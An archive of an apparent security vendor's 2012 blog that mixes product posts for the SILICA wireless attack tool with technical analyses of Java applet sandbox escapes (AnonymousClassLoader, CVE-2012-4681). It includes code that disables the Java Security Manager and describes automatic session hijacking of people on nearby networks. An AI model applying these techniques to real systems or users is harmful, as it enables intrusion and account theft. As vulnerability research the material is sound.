Tuesday, December 11, 2012

SILICA 7.14!

There are a lot of things that go into each SILICA release, but from the development side, I can safely say that a large portion of our energy this time around went into one thing: Performance under heavy load.

What SILICA does is not dissimilar to what a good IDS does. It takes a large stream of packets, drops what it can, then parses the rest with stateful protocol matchers and pulls features out of them that it thinks are interesting. It's not looking for security vulnerabilities, of course. It's looking for things like cookies flying by in cleartext, or phone numbers or other pieces of interesting information.




This requires a ton of engineering to get right - and you'll find the most interesting result of this work under the STALKER -> Cookie React menu. There's a new Chrome plugin that comes with SILICA called ACCOMPLICE that automatically will log into websites as people browse them on the wireless networks around you.

Yes, Firesheep and other tools can do this, but they can't really address WEP or WPA networks the way this level of integration can, and this works seemlessly against mobile websites. And, of course, it's tested on high-traffic networks, even on tiny boxes like our one-CPU standard VM on a Mac Air running under VMWare Fusion, which is how I run it personally.

In any case, we hope you enjoy the new release - testing your own wireless is certainly better than having hackers test it for you!

Friday, November 23, 2012

AnonymousClassLoader Java Exploitation Technique

Author Information

This technical article was written by Immunity's Chief Java Interrogator,  Esteban (who you can follow: @sagar38)

Introduction

Not so long ago Oracle released a new Java update [1] that included 30 security fixes. Many of those fixes appear to be the result of the research conducted by Security Explorations [3] who in turn informed Oracle. The research paper clearly explains the vulnerabilities discovered and some generic exploitation scenarios and techniques. Instead of analyzing the vulnerabilities we'll discuss something that is really interesting and was recently used in the JAX-WS exploit (CVE-2012-5076) that was found in the wild [4].

This time besides killing bugs, Oracle also killed an “exploitation technique”.

We haven't seen any articles or papers explaining this technique, so now that it has been used in the wild and is publicly available, we think it is worth explaining in detail. This Oracle patch has changed a class that could be used to exploit a target if the right bug primitives were available. This technique will only work from JRE/JDK 7 up to JRE/JDK 7 update 7.

The technique explained here has been used in our two latest CANVAS Java exploits. And remember that if you want to learn this kind of Java stuff you can join us during the next Infiltrate at the Master Class being taught in part by Esteban!

Background

Is a well known fact that there are certain packages that are restricted when working with Applets. So any class inside sun.* package is a tempting destination if we have a vulnerability that bypasses the restrictions. Lets assume we have a couple of vulnerabilities which give us the primitives to:
    1) Create an instance of any class in any package (for example something in sun.*)

    2) Call any public method on the instance we create, for example by using reflection and bypassing security checks.

Even if we have all that, we need to find a way of fully exploiting the target because having access to restricted packages doesn't mean we can just disable the Security Manager.

In 2010 Sami Koivu explained [5] a really cool vulnerability class that worked because a “Trusted execution chain” was built. The security checks were then passed simply because all the callers in the stack were part of the JDK and had enough permissions. The first question is “how do we start a trusted chain?”

The trick Koivu used to “start” the trusted execution chain was to create a javax.swing.JList instance, passing an object to it and then adding the instance to the applet. What happens then is that an AWT thread (that is trusted) would render that JList instance and would eventually call the toString() method on the object we put inside the JList.

It is important to keep Koivu's technique in mind because it will help to better understand part of the AnonymousClassLoader technique.

Analyzing the Patch

A quick diff performed against the two latest JDK 7 versions: update 7 and update 9 will show that there are a lot of changes to several classes in order to fix may vulnerabilities and one class that gets our attention is sun.invoke.anon.AnonymousClassLoader. The differences between these JDKs can be obtained for example using reJ tool [6], but we can also find the patch by taking a look at the OpenJDK repositories [7] [8].

Although OpenJDK is not Sun's implementation it is really useful when auditing new JDK releases since parts of the Sun JDK source are not included in the releases. In the OpenJDK patch for CVE-2012-5088 [8] we can see the exact change made to the sun.invoke.anon.AnonymousClassLoader.

AnonymousClassLoader Technique

A curious thing to notice is that although this class seems to be a “class loader” it does not inherit from java.lang.ClassLoader. If we take a look at the java.lang.ClassLoader type hierarchy, the AnonymousClassLoader is not listed:

The changes made to this class show that its public constructors were removed together with other methods. We all know that ClassLoaders are important when it comes to exploitation so this “strange” class loader seems to be worth taking a look at.

According to its documentation and from what I've researched [9] [10] [11], this class does some weird things that will allow us (the attacker) to load classes that we can then use to bypass security checks. The classes that are loaded with AnonymousClassLoader appear not to be registered since this is not a normal class loader. The first thing we notice from the AnonymousClassLoader source code [12] is that it has an attribute called hostClass which is very important. The class documentation says:
The access permissions of the anonymous class are borrowed from a host class.  The new class behaves as if it were an inner class of the host class.  It can access the host's private members, if the creator of the class loader has permission to do so (or to create accessible reflective objects).
Depending on the hostClass, the classes that we load with AnonymousClassLoader could possibly inherit privileged protection domains!

If we take a look at the default constructor (the one without parameters), it calls sun.invoke.anon.AnonymousClassLoader.checkHostClass method with a null parameter. When that happens, the hostClass is set to the constructor's immediate caller. You can see this at the beginning of the checkHostClass implementation:

private static Class<?> checkHostClass(Class<?> hostClass) {
        // called only from the constructor
        // does a context-sensitive check on caller class
        // CC[0..3] = {Reflection, this.checkHostClass, this.<init>, caller}
        Class<?> caller = sun.reflect.Reflection.getCallerClass(CHC_CALLERS);

        if (caller == null) {
            // called from the JVM directly
            if (hostClass == null)
                return AnonymousClassLoader.class; // anything central will do
            return hostClass;
        }

        if (hostClass == null)
            hostClass = caller; // default value is caller itself

        [...]
 }

This means that if the AnonymousClassLoader default constructor is called from any class that is part of the JDK, then its immediate caller will be considered trusted and hostClass will have privileged protection domains.

And more importantly, any class that we load with the AnonymousClassLoader instance will have a privileged protection domain and if we use this with Koivu's JList rendering trick to start a “Trusted execution chain” [5] we'll be able to disable the Security Manager.

What we can do now is make use of the public method sun.invoke.anon.AnonymousClassLoader.loadClass(byte[]) that receives a byte array containing a class (this is just a valid .class file that we read and store in a byte array or a class file from our JAR file that is obtained as a stream and converted to a byte array). This loadClass method will return a Class object and after that we can simply call objclass.newInstance() on it.

Remember we mentioned we need two primitives, so the first one would be used to create an instance of AnonymousClassLoader which is in sun.* and satisfies our first requirement.
What would probably happen with a vulnerability that provides such primitive is that the instance we get is an Object reference and unfortunately AnonymousClassLoader does not implement an interface so we don't have anything to easily call the “loadClass” method and a cast operation would just fail. This is where the second primitive comes in play!

As we mentioned before, if we wanted to call any method in this object variable we would need to cast it like this:

((AnonymousClassLoader)obj).loadClass(bytes);

This will not work! :(

The cast operation will raise an exception because we cannot access sun.invoke.anon package from the applet. If we simply tried to call getMethod/getMethod on the instance we have, we would also get the same exception.

So the second primitive would have to allow us to bypass the security checks and get a Method instance that is a reference to that loadClass public method we want to call. An example of a such primitive is one of the vulnerabilities used in the CVE-2012-4681 exploit [13].
Using this vulnerability as the second primitive we would obtain the method reference and load any class we wanted with the following piece of code where the “acl” variable is our AnonymousClassLoader instance created with the first primitive:


Class objclazz = acl.getClass();
Method m = com.sun.beans.finder.MethodFinder.findMethod(objclazz, "loadClass", byte[].class); 
smd_class = (Class) m.invoke(cl, smd_bytes);
Object x = smd_class.newInstance();


What class should we load using this AnonymousClassLoader?


We need a fully trusted execution chain to disable the security manager and the only public trick that still works is the JList approach that calls a toString method on any object we pass it. We have to create a class with just a toString method that executes “System.setSecurityManager(null);”. Such a class is something as simple as this:

public class SecurityManagerDisabler {
 
 public String toString() {
  System.setSecurityManager(null);
  return "";
 }
}

That we compile that to generate a valid .class file and then read it to create a byte array we can hard-code in our exploit. This byte array would be the “smd_bytes” variable in the code snippet shown above when calling the loadClass method.

Once we have an instance of this class that disables the security manager we create a JList instance containing our object and add it to the applet so the AWT thread renders it and calls our toString method resulting in a trusted execution chain. The code to achieve this is just 2 lines (where “x” is this custom class instance we created in the previous code snippet):

JList l = new JList(new Object[] {x});
add(l);

This works and the complete call stack is trusted because our class was created with the AnonymousClassLoader and inherited the protection domain from a class that is part of the JDK.
An example of the complete stack call when using this technique would look like this:





Our custom class SecurityManagerDisabler is there and it has full privileges so the call to System.setSecurityManager will succeed.

An important thing to keep in mind about the AWT thread is that it may take a little bit until it effectively renders the Jlist object so we need to take this into consideration before executing our payload. One possibility is to launch another thread that sleeps for a bit and the executes the payload. Though we have to be careful not to call Thread.sleep directly in our applet init or start methods because the AWT thread may be delayed waiting for them.

Some of you may consider that using the JList trick is too much, so there is another more straight forward approach that can be used here. The class loaded with the AnonymousClassLoader could be something like this:

public class SecurityManagerDisabler implements PrivilegedExceptionAction
{
  public SecurityManagerDisabler() { }

  public Object run() throws Exception {
    System.setSecurityManager(null);
    return null;
  }

  public String toString() {
    try {
 AccessController.doPrivileged(this);
    } catch (PrivilegedActionException e) {}
    return "";
  }
}

The difference here is that the class is implementing the interface PrivilegedExceptionAction and the toString method is using a doPrivileged block.

If you remember how the security checks are performed – which are clearly explained in the Secure Code Guidelines, section 9 [14] – when there is a doPrivileged block only the immediate caller is considered. So in this case, the immediate caller would be the SecurityManagerDisabler.toString method which has full privileges because we loaded the class with the AnonymousClassLoader allowing this way to perform any action. Now instead of creating the JList and adding our SecurityManagerDisabler instance we could directly call its toString method and everything will work just fine.

One important thing about the AnonymousClassLoader is that it is only available since JDK 7 and it has been moved to different packages in different versions [15]. JDK 7 included the class in package sun.dyn.anon but since JDK 7 update 1 the class is now included in package sun.invoke.anon, so one must be careful when targeting different JRE/JDK versions in order to get the AnonymousClassLoader from the right package.


References

  1. Java 7 update 9 release notes - http://www.oracle.com/technetwork/java/javase/7u9-relnotes-1863279.html
  2. Oracle Java SE Critical Patch Update Advisory - October 2012 - http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
  3. SE-2012-01 Security vulnerabilities in Java SE - http://www.security-explorations.com/en/SE-2012-01.html
  4. CVE-2012-5076 Java sample from "Cool" exploit pack - http://contagiodump.blogspot.com.ar/2012/11/cve-2012-5076-java-sample-from-cool.html
  5. Sami Koivu's Blog - Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056) - http://slightlyrandombrokenthoughts.blogspot.com.ar/2010/04/java-trusted-method-chaining-cve-, 2010.html
  6. reJ - http://rejava.sourceforge.net/
  7. CVE-2012-5088 OpenJDK: MethodHandle insufficient access control checks (Libraries, 7196190) - https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5088
  8. 7196190: Improve method of handling MethodHandles - http://icedtea.classpath.org/hg/release/icedtea7-forest-2.3/jdk/rev/43113374306c
  9. Da Vinci project - http://openjdk.java.net/projects/mlvm/subprojects.html
  10. John Rose Oracle Blog entries: https://blogs.oracle.com/jrose/entry/notes_on_an_architecture_for, https://blogs.oracle.com/jrose/entry/dynamic_invocation_in_the_vm
  11. A First Taste of InvokeDynamic - http://blog.headius.com/2008/09/first-taste-of-invokedynamic.html
  12. Sun.invoke.anon.AnonymousClassLoader - http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/7-b147/sun/invoke/anon/AnonymousClassLoader.java#AnonymousClassLoader
  13. Java 0day analysis (CVE-2012-4681) - http://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4681.html
  14. Secure Coding Guidelines for the Java Programming Language, Version 4.0 - http://www.oracle.com/technetwork/java/seccodeguide-139067.html#9
  15. Move JSR 292 to package java.lang.invoke and adjust names - http://mail.openjdk.java.net/pipermail/hotspot-compiler-dev/2011-March/004961.html

Monday, November 19, 2012

Updating the SILICA Virtual Machine

We have been asked a few times if the SILICA virtual machine can be updated. While this is mainly a general Ubuntu Linux question it can affect the usability of SILICA. Before getting into any details it is important to understand how the updating mechanism of Ubuntu works, more specifically how the updating process can affect the operational part of SILICA.

SILICA leverages Ubuntu 12.04 LTS 64bit and is supplied as a virtual machine.

The core operating system consists of a few components such as:
  • Applications
  • Kernel
  • Drivers
  • Firmware

A lot of sub-categorizing could be done in the above list but this simplified for the purpose of this post. The components we care about are the kernel, drivers and firmware. If any of those are updated this could result into an unexpected behavior of the software. Having said that a lot of users may wish to update their applications which is a big portion of the operating system and that includes packages such as the web-browser, editors and the X-environment.

Before explaining how a user may want to proceed into updating the operating system, I would like to mention that it is a good idea at this point to use the snapshot feature of VMware. This will keep a good state of the virtual machine and you will allow reverting back to the original easy, if something goes wrong. In free versions of VMware such as player this feature may not be available so you can just copy the entire virtual machine in a separate folder in your drive as a backup.

Since we have a safe way to recover our original image it is now safe to go ahead and explain how one may want to update the operating system. As mentioned above some of the packages which are of importance are the firmware, kernel and drivers. In this case we will utilize an Ubuntu tool called apt-mark which will help us prevent accidental updates of the system.

In particular we can issue the command:

apt-mark hold linux-firmware

This will mark the package linux-firmware as hold which means it will not be updated in the next system upgrade. This package may have other dependencies so this may prevent other packages of being updated, the good news is that you do not have to worry about this since Ubuntu handles it for you.

Next we need to verify that the command succeeded by executing:

dpkg --get-selections linux-firmware

That should return something like 'hold' next to the package name, which means it has successfully completed. A similar process should be followed for the rest of the packages such as the kernel files, the drivers and any other packages the user wishes to preserve. Using dpkg -l |grep 'package-name' may help identify anything of interest. For example finding the kernel package the user can issue: dpkg -l |grep -i kernel and that will return a list of kernel packages that can be preserved. One does not have to mark them all as hold. Ubuntu will protect the rest of the packages because of the dependency checking mechanism.

Finally performing a system upgrade is as simple as running apt-get upgrade. The user can also specifically update a package such as a web browser using apt-get install package-name.

The reason we do not update the kernel, driver and firmware is beyond the scope of this post but I will be glad to get into more details if someone is interested.

Friday, October 12, 2012

Resolving Hostapd issues in the new SILICA VM

[Editor's Note]

There are a lot of layers in SILICA - from the VM's hypervisor, to the Linux kernel, to the firmware and card itself. And, of course, there's SILICA (which is a pure-Python program, as you know). We often get requests to enable SILICA to run on "any card" but we've found that not having control of all parts of the stack leads to very difficult to diagnose issues - things you can't have in the wild as you are in the middle of a penetration test. Below, Alex describes in gruesome detail the process of fixing one such bug...

Resolving Hostapd issues in the new SILICA VM


Recently we moved SILICA into a new virtual machine that is based on Ubuntu 12.04. With a little bit of fine tuning SILICA is running great. However I noticed that our fake access point / impersonation wasn't working as expected. Our code leverages the hostapd daemon that allows you to create a software AP.

My first thought was that there was some kind of problem with the version of hostapd so I started by trying to update the Ubuntu version of hostapd. After a few attempts I got it to compile with the right config file and it was up and running. The problem was that for some mysterious reason the access point that I had created was not broadcasting any beacon packets. So that took me to my second thought of trying to downgrade the version of hostapd to the latest stable 0.7.3 at the time. I was previously trying 1.0. A few minutes later after compiling all the dependencies I still had the same results; no beacon packets were being sent out.

Looking a bit deeper into the issue I started checking my configuration file to see if there was some misconfiguration or change between the versions. I did notice that hostapd was utilizing a driver which was a layer of communication with the host operating systems driver. After trying different options I did not get anywhere but at this point I started thinking that there may be more to it than just a user space daemon not functioning properly. My thought was to see what will happen if I was to use the old carl9170 SILICA driver but it didn't work.

I promptly downloaded the compat-wireless drivers that matched the old version and I was up and running with a freshly built driver code base. The card was identified and loaded fine and most of the basic functionality was working and everything seemed to be back to normal so I loaded up SILICA to see if the issue was still there. I created a fake AP like I did earlier and waited on Wireshark to see if there any broadcast packets being sent out but the issue was still there. At this point I was completely lost so I decided to take up the issue with other people to see if someone else had any ideas.

After asking around a few of the kernel wireless developers and giving them a lot of dmesg outputs in Pastebin I was told that there may be some incompatibility between my card and the driver version I was using and to try and update to the latest compat-wireless. So I updated to the latest compat-wireless even though I already knew at this point that this was system related and not hostapd related.

The problem was still there no matter what version or configuration I tried.

So being left with my last resort I decided there was nothing left to do but to dive into the driver code base and see what is really happening (unfortunately). A few hours later and a lot of printk's I realized that the code that exposes the access point mode lived inside the firmware and if the firmware did not support that then the driver will give you access to all the other features but that. Luckily the firmware for carl9170 is open source and I already had the latest git checked out on my system. I went through the build configuration and I enabled some features and cross-compiled the code. The driver handles the uploading into the device so I quickly reloaded the kernel module.

At this point I had a fresh firmware that I had built from the git running on my wireless card. I loaded up SILICA again and started the Fake AP option. A minute later I started to see beacons being broadcasted from my card! I loaded an attack just to make sure everything still worked and the feature was fully functional and that succeeded. I did a quick run through the entire feature set of SILICA and everything works as expected. So there it was - a new firmware solved the problem.

The new update of SILICA is going to automatically replace the old firmware.

Tuesday, October 9, 2012


So we occasionally we try to go a bit away from our office and see if a different antenna produces better results. Personally, I never have good luck with antennas. First of all, the knobs on various cards (including the one we ship with SILICA) come off if you pull too hard on the antenna, and that ruins the card.

But if you take a butter knife and carefully lever the old antenna off, you can put a new one on, which we did.

Result: The exact same signal strength as the original antennas we ship with SILICA. This makes me sad on one hand, and happy on the other. There's a balance to be kept between "Great Antenna" and "Antenna that makes me look super fishy everywhere I use it". So far, the ones you get with the card are the best of both worlds...


Wednesday, October 3, 2012

STALKER, SILICA, and Megacorp System Integrators

So one thing we are finding with SILICA is that you notice policy weaknesses more than anything else. For example, many large system integration companies have an "internal" wireless network in their office which is set up as WPA, and has a properly configured non WPS-vulnerable, difficult key.

Which is great.

But because of the way these system integrators do business, they also have a Open network called "SysInt_Guest" or just "Guest" which is how their contractors all do business while in their spaces.

The attack here is to simply sit on the Open network with SILICA, and then take your PCAPs and run them through STALKER. In a half hour, you'll (theoretically) have access to their poorly secured, veteran owned partner, who is doing the actual work. If you don't have straight up access via POP3 or some other unencrypted protocol, then you'll definitely have the websites they've visited (allowing you to client-side them with one click from SILICA, of course), and Facebook access, which will allow you to social engineer your way into their network. These things are now brutally simple to do.

So our advice of the day for system integrators is "Use a strong WPA key on your guest network! Put it on postit-notes if you have to, in the conference room. Change the key occasionally, if you can spare the cycles (and the post-it notes)."  Because you're hiring that certified 8a veteran owned small business because of the access they have, but that access can be used against you.




Thursday, August 30, 2012

Java patched at least 4 bugs

The last couple of days there has been a big convulsion on the social networks about the Java zero days found in a Chinese attack campaign on the Internet.


After some deep analysis of the Jar used in the exploit, we found out that there were actually two bugs exploited in order to jump outside the Java security sandbox.


Oracle has just released a new update, Java JDK/JRE 7 update 7 is now
available at
http://www.oracle.com/technetwork/java/javase/downloads/index.html

The release notes say that this contains fixes for CVE-2012-4681. This seems to be a new move in the recent history of Java updates, since generally it takes months to QA a Java security bug fix - which may be how long this took, considering some researchers claim they sent these vulnerabilities to Oracle months ago.

While doing some fast analysis (keep in mind we only spent an hour and half on it), we find out that they patched at least 4 vulnerabilities in the Java code base: The two used by the Gondvv worm and two more on difference pieces of code. Just by simply running the Immunity CANVAS exploit that exploits this vulnerability we can see that this update is preventing it.
When we run the exploit we get the following exception:

java.security.AccessControlException: access denied
("java.lang.RuntimePermission" "accessClassInPackage.sun.awt")
 at
java.security.AccessControlContext.checkPermission(AccessControlContext.java:366)
 at
java.security.AccessController.checkPermission(AccessController.java:555)
 at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
 at
java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:1529)
 at sun.applet.AppletSecurity.checkPackageAccess(AppletSecurity.java:283)
 at sun.reflect.misc.ReflectUtil.checkPackageAccess(ReflectUtil.java:134)
 at com.sun.beans.finder.ClassFinder.findClass(ClassFinder.java:100)
 at com.sun.beans.finder.ClassFinder.resolveClass(ClassFinder.java:170)
 at java.beans.Statement.invokeInternal(Statement.java:213)
 at java.beans.Statement.access$000(Statement.java:58)
 at java.beans.Statement$2.run(Statement.java:185)
 at java.security.AccessController.doPrivileged(Native Method)
 at java.beans.Statement.invoke(Statement.java:182)
 at java.beans.Expression.execute(Expression.java:121)
 at Gondvv.GetClass(Gondvv.java:38)
 at Gondvv.SetField(Gondvv.java:46)
 at Gondvv.disableSecurity(Gondvv.java:30)
 at Gondvv.init(Gondvv.java:53)
 at sun.applet.AppletPanel.run(AppletPanel.java:434)
 at java.lang.Thread.run(Thread.java:722)


There isn't much information in the traceback about the exact changes that this update includes so taking a better look we can see that not only these 2 vulnerabilities used in the Gondvv exploit have been patched, but also some others.
The two vulnerabilities used in the exploit were located in com.sun.beans.finder.ClassFinder and com.sun.beans.finder.MethodFinder
The update also patched at least another 2 other vulnerabilities that were basically the same but related to Constructors and Fields and allowed an attacker to get any public constructor or any public field via reflection bypassing security checks. 

These 2 vulnerabilities were located in com.sun.beans.finder.ConstructorFinder and com.sun.beans.finder.FieldFinder and the underlying issue was the same "a trusted immedate caller".
These two "new" vulnerabilities patched combined with the MethodFinder weakness could allow you to bypass the Sandbox and obtain full execution on Linux, Windows and MacOSX.  Now Oracle has added proper checks by adding calls to methods of sun.reflect.misc.ReflectUtil class.
Another interesting change this update includes is that public static methods getField and getMethod in sun.awt.SunToolkit were removed which means that the technique used in the exploit to get a private field no longer works.

- Esteban Guillardoy
  @sagar38

Tuesday, August 28, 2012

Java 0day analysis (CVE-2012-4681)

(This post brought to you by Esteban, Immunity's in-house Java friend)

Summary

A couple of days ago, a Java 0day was found running like crazy in the wild. While a lot of defense bunnies where asking "WWMAD" (What will my Antivirus do?), we decide to dive into Java for the details of the vulnerability and as we expected, the unpatched vulnerabilities used in the Gondvv exploit were more than one (When we said, "dive deep into Java", we actually meant open our new Infiltrate 2013 Master Class slide deck which will include a full day of Java auditing).

The first bug was used to get a reference to sun.awt.SunToolkit class that is restricted to applets while the second bug invokes the getField public static method on SunToolkit using reflection with a trusted immediate caller bypassing a security check.

The beauty of this bug class is that it provides 100% reliability and is multiplatform. Hence this will shortly become the penetration test Swiss knife for the next couple of years (as did its older brother CVE-2008-5353). 

As a final note, the bug was introduced in Java 7.0 released in July 28, 2011. While you are feeling the rush of blood going through your veins while by getting all those shell being pop, think that somewhere not far way (Probably a 10hs flight from some of the major airports in Norte Americana) was enjoying it non-stop for quite some time now.

Introduction

As the “Secure Coding Guidelines” document [1] states, it is important to understand how the permissions are checked in the Java security model. (Please readguideline 9-1).

Many operations in the JDK perform permission checks before executing. Whenever a call to java.security.AccessController.checkPermission method is performed, the complete call stack that exists at that moment is analyzed.

If any of the callers in the stack do not have the required privileged an exception is raised.
When we are running code in an Applet in our browser, there is a context that has very restricted permissions.

This means that if there is any caller in the stack that is part of our applet, the permission checks will fail (unless there is a doPrivileged code block, but let's leave that out for now).
Section “9 – Access Control” in the “Secure Coding Guidelines” document [1] together with the “Java Security Architecture” document [2] will give you a complete insight on how all this works.


The Gondvv exploit

A PoC for this 0 day exploit quickly began to spread when Joshua J. Drake posted it on Twitter https://twitter.com/jduck1337/status/239875285913317376.

By analyzing this implementation we can clearly see how the exploitation is done and where the vulnerabilities are really located.

The first thing we notice, is that most of the online analysis talks about one vulnerability where we saw two 2 vulnerabilities being exploited to achieve full execution on a target.

Basically the exploit is creating an java.security.AccessControlContext instance with a java.security.ProtectionDomain that has full permissions and then replace the actual AccessControlContext of a java.beans.Statement instance to be able to execute code with full privileges.
So let's take a better look at each part to understand what is happening under the hood.
In the java.beans.Statement implementation we can see that the AccessControlContext instance is a private final field and it gets its value by calling AccessController.getContext().




public class Statement {

private static Object[] emptyArray = new Object[]{};

static ExceptionListener defaultExceptionListener = new ExceptionListener() {
public void exceptionThrown(Exception e) {
System.err.println(e);
System.err.println("Continuing ...");
}
};

private final AccessControlContext acc = AccessController.getContext();
private final Object target;
private final String methodName;
private final Object[] arguments;
ClassLoader loader;

[...]

}


That call to the getContext method will set the AccessControlContext to an applet context that has restrictions with a limited ProtectionDomain which of course is not privileged at all.

Back in 2010 Sami Koivu published information about a Java vulnerability (CVE-2010-0840) that built a “trusted method chain” [4].

You can see in the article that the exploitation of that vulnerability also made use of the java.beans.Statement class.

The article also explains that the fix was to add an AccessControlContext field to the Statement class setting its value to the applet context when creating an instance thus avoiding the full trusted chain.

This AccessControllContext field added in that fix is exactly what this new 0 day exploit is replacing in order to be able to execute code with full permissions.


But how can a private field be changed?
The trick here is to use the sun.awt.SunToolkit class which contains a very interesting public static method:
public static Field getField(final Class klass, final String fieldName) {
return AccessController.doPrivileged(new PrivilegedAction<Field>() {
public Field run() {
try {
Field field = klass.getDeclaredField(fieldName);
assert (field != null);
field.setAccessible(true);
return field;
} catch (SecurityException e) {
assert false;
} catch (NoSuchFieldException e) {
assert false;
}
return null;
}
});
}



We can see that it is using reflection to get fields and the complete implementation is inside a doPrivileged block. This getField method can be used to get any field on a class and the good thing is that it can even retrieve private ones.



Well this is of course very useful, it's important to notice that the classes that are part of certain packages are restricted for applets and cannot be accessed or used. Such packages are:
  • com.sun.deploy.*
  • com.sun.imageio.*
  • com.sun.javaws.*
  • com.sun.jnlp.*
  • com.sun.xml.internal.bind.*
  • com.sun.xml.internal.ws.*
  • sun.*
Trying to instantiate or use classes in these packages will result in an AccessControlException.
This means that we are not able to get a reference to the sun.awt.SunToolkit class from our applet.
But the basic thing we need to know is that calls to certain methods can potentially bypass the SecurityManager checks depending on the immediate caller's class loader.

This is explained in detail in the “Secure Coding Guidelines” document by Sun [1] in guidelines 9-8 and 9-9.

This exploit is abusing this situation taking advantage of the immediate caller to bypass security checks.

Vulnerabilities

There are 2 different zero-day vulnerabilities used in this exploit: one is used to obtain a reference to the sun.awt.SunToolkit class and the other is used to invoke the public getField method on that class.
The exploit is making use of the java.beans.Expression which is a java.beans.Statement subclass.
There are 2 Expression instances that are used to trigger these 2 different bugs.

When the Expression.execute method is called it ends up calling Statement.invokeInternal method, so let's check the implementation:


private Object invokeInternal() throws Exception {
Object target = getTarget();
String methodName = getMethodName();

if (target == null || methodName == null) {
throw new NullPointerException((target == null ? "target" :
"methodName") + " should not be null");
}

Object[] arguments = getArguments();
if (arguments == null) {
arguments = emptyArray;
}
// Class.forName() won't load classes outside
// of core from a class inside core. Special
// case this method.
if (target == Class.class && methodName.equals("forName")) {
return ClassFinder.resolveClass((String)arguments[0], this.loader);
}
Class[] argClasses = new Class[arguments.length];
for(int i = 0; i < arguments.length; i++) {
argClasses[i] = (arguments[i] == null) ? null : arguments[i].getClass();
}

AccessibleObject m = null;
if (target instanceof Class) {
/*
For class methods, simluate the effect of a meta class
by taking the union of the static methods of the
actual class, with the instance methods of "Class.class"
and the overloaded "newInstance" methods defined by the
constructors.
This way "System.class", for example, will perform both
the static method getProperties() and the instance method
getSuperclass() defined in "Class.class".
*/
if (methodName.equals("new")) {
methodName = "newInstance";
}
// Provide a short form for array instantiation by faking an nary-constructor.
if (methodName.equals("newInstance") && ((Class)target).isArray()) {
Object result = Array.newInstance(((Class)target).getComponentType(), arguments.length);
for(int i = 0; i < arguments.length; i++) {
Array.set(result, i, arguments[i]);
}
return result;
}
if (methodName.equals("newInstance") && arguments.length != 0) {
// The Character class, as of 1.4, does not have a constructor
// which takes a String. All of the other "wrapper" classes
// for Java's primitive types have a String constructor so we
// fake such a constructor here so that this special case can be
// ignored elsewhere.
if (target == Character.class && arguments.length == 1 &&
argClasses[0] == String.class) {
return new Character(((String)arguments[0]).charAt(0));
}
try {
m = ConstructorFinder.findConstructor((Class)target, argClasses);
}
catch (NoSuchMethodException exception) {
m = null;
}
}
if (m == null && target != Class.class) {
m = getMethod((Class)target, methodName, argClasses);
}
if (m == null) {
m = getMethod(Class.class, methodName, argClasses);
}
}
else {
/*
This special casing of arrays is not necessary, but makes files
involving arrays much shorter and simplifies the archiving infrastrcure.
The Array.set() method introduces an unusual idea - that of a static method
changing the state of an instance. Normally statements with side
effects on objects are instance methods of the objects themselves
and we reinstate this rule (perhaps temporarily) by special-casing arrays.
*/
if (target.getClass().isArray() &&
(methodName.equals("set") || methodName.equals("get"))) {
int index = ((Integer)arguments[0]).intValue();
if (methodName.equals("get")) {
return Array.get(target, index);
}
else {
Array.set(target, index, arguments[1]);
return null;
}
}
m = getMethod(target.getClass(), methodName, argClasses);
}
if (m != null) {
try {
if (m instanceof Method) {
return MethodUtil.invoke((Method)m, target, arguments);
}
else {
return ((Constructor)m).newInstance(arguments);
}
}
catch (IllegalAccessException iae) {
throw new Exception("Statement cannot invoke: " +
methodName + " on " + target.getClass(),
iae);
}
catch (InvocationTargetException ite) {
Throwable te = ite.getTargetException();
if (te instanceof Exception) {
throw (Exception)te;
}
else {
throw ite;
}
}
}
throw new NoSuchMethodException(toString());
}



And the Statement.getMethod implementation is:
static Method getMethod(Class<?> type, String name, Class<?>... args) {
try {
return MethodFinder.findMethod(type, name, args);
}
catch (NoSuchMethodException exception) {
return null;
}
}


Highlighted in the code you'll see the calls to com.sun.beans.finder.ClassFinder.resolveClass and com.sun.beans.finder.MethodFinder.findMethod methods.

com.sun.beans.finder.ClassFinder.findClass vulnerability

The Statement.invokeInternal method is calling com.sun.beans.finder.ClassFinder.resolveClass and if we take a look a its implementation we'll see that it ends up calling the com.sun.beans.finder.ClassFinder.findClass method:
public static Class<?> resolveClass(String name, ClassLoader loader) throws ClassNotFoundException {
Class<?> type = PrimitiveTypeMap.getType(name);
return (type == null) ? findClass(name, loader): type;
}



public static Class<?> findClass(String name) throws ClassNotFoundException {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
if (loader == null) {
loader = ClassLoader.getSystemClassLoader();
}
if (loader != null) {
return Class.forName(name, false, loader);
}
} catch (ClassNotFoundException exception) {
// use current class loader instead
} catch (SecurityException exception) {
// use current class loader instead
}
return Class.forName(name);
}



This code shows that if an exception is captured, then the default is to simply call Class.forName and this is exaclty what happens here.

As it is explained in the Guideline 9-9: “Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance” on the “Secure Code Guidelines” documentation [1], a call to Class.forName will use the immediate caller ClassLoader and in this case the caller is part of the JDK which is trusted thus allowing us to get any class on any package.

The caller's stack can be seen by simply debugging the applet:



MethodFinder.findMethod vulnerability

According to the “Secure Code Guidelines” document in guideline 9.8 the java.lang.Class.getMethod and java.lang.Class.getMethods only take the immediate caller into account when performing security checks.
These methods can be used to get a Method reference via reflection but only “public” ones.

Even though we have a reference to the sun.awt.SunToolkit class we cannot call any of its methods directly because is part of a restricted package and a security exception will be raised.

What is needed here is a way of getting a method reference via reflection but having a “trusted” immediate caller in the stack in order to bypass security checks.

The implementation of com.sun.beans.finder.MethodFinder.findMethod is this:

public static Method findMethod(Class<?> type, String name, Class<?>...args) throws NoSuchMethodException {
if (name == null) {
throw new IllegalArgumentException("Method name is not set
}
PrimitiveWrapperMap.replacePrimitivesWithWrappers(args);
Signature signature = new Signature(type, name, args);

Method method = CACHE.get(signature);
if (method != null) {
return method;
}
method = findAccessibleMethod(new MethodFinder(name, args).find(type.getMethods()));
CACHE.put(signature, method);
return method;
}


The call to findAccessibleMethod ends up calling java.lang.Class.getMethods and the immediate caller in the stack is com.sun.beans.finder.MethodFinder which is trusted since is part of the JDK thus bypassing the security checks.


Once again we can see the callers stack by debugging the applet:



Affected Versions

The com.sun.beans.finder.MethodFinder and com.sun.beans.finder.ClassFinder classes are available only since JDK 7.

